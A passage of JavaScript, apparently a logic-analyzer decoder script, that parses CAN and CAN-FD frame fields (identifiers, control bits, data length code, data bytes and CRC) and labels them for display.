tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 18; c < 22; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 37; c < 41; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \t// Add the IDE bit\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 15; c < 19; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 35; c < 39; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (rtr_mode == false)\n\t\t\t\t{\n\t\t\t\t\tstate = GET_DATA;\n\t\t\t\t}\n\t\t\t\telse\t// Skip the data in case of RTR frame\n\t\t\t\t{\n\t\t\t\t\tstate = GET_CRC;\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\n\t\t\tcase GET_DATA:\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\t\t\t\t}\n\n\t\t\t\twhile (db < (data_size * 8)) \t// Read data bits\n\t\t\t\t{\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\n\t\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t\tdb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tb -= (data_size * 8);\t// Now interpret those bits as bytes\n\t\t\t\tpkt_data = \"\";\n\n\t\t\t\tfor (i = 0; i < data_size; i++)\n\t\t\t\t{\n\t\t\t\t\tval = 0;\n\n\t\t\t\t\tfor (c = 0; c < 8; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + (i * 8) + c];\n\t\t\t\t\t}\n\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \t// Add the ID item\n\t\t\t\t\telse\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"DATA: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D: \");\n\t\t\t\t\tdec_item_add_pre_text(\"D \");\n\t\t\t\t\tdec_item_add_data(val);\n\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\n\t\t\t\t\tpkt_data += int_to_str_hex(val) + \" \";\n\t\t\t\t}\n\n\t\t\t\tif(!edl_mode)\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\t\t\t\telse\n\t\t\t\t\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \"DATA\", pkt_data, dark_colors.gray, channel_color);\n\n\t\t\t\tb += (data_size * 8);\n\t\t\t\tstate = GET_CRC;\n\n\t\t\t\t// TO DO:\n\t\t\t\t// correct all start and end samples\n\t\t\t\t// add packet for CRC, and error frames\n\t\t\t\t// add the packet stop\n\t\t\tbreak;\n\n\t\t\tcase GET_CRC:\n\t\t\t\tvar nbr_stf_b = 0;\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since now\n\n\t\t\t\t\twhile (db-nbr_stf_b < crc_len) //read crc bits\n\t\t\t\t\t{\n\t\t\t\t\t\tif (db % 5 ==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t\tnbr_stf_b++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t // Regular bit\n\t\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tlast_bit = bits[b];\n\n\t\t\t\t\t\t\tb++;\n\t\t\t\t\t\t\tdb++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\trb++;\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t\t{\n\t\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\t\tstate = GET_SOF;\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tval = 0;\n\t\t\t\t\tb -= crc_len;\n\n\t\t\t\t\tfor (c = 0; c < crc_len; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tval = (val * 2) + bits[b + c];\n\t\t\t\t\t}\n\n\t\t\t\t\tcrc_rg = 0;\t\t// Now calculate our own crc to compare\n\n\n\t\t\t\t\tfor (c = 1; c < b; c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\n\t\t\t\t\t\tcrc_rg = crc_rg << 1;\n\n\t\t\t\t\t\tif (crc_nxt == 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x3685B;\n\t\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\t\tcrc_rg ^= 0x302898;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (crc_len==17)\n\t\t\t\t\t\t\tcrc_rg &= 0x1ffff;\n\t\t\t\t\t\telse if (crc_len==21)\n\t\t\t\t\t\t\tcrc_rg &= 0x1fffff\n\t\t\t\t\t}\n\n\t\t\t\t\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \t// Add the ID item\n\t\t\t\t\tdec_item_add_pre_text(\"CRC : \");\n\t\t\t\t\tdec_item_add_pre_text(\"CRC 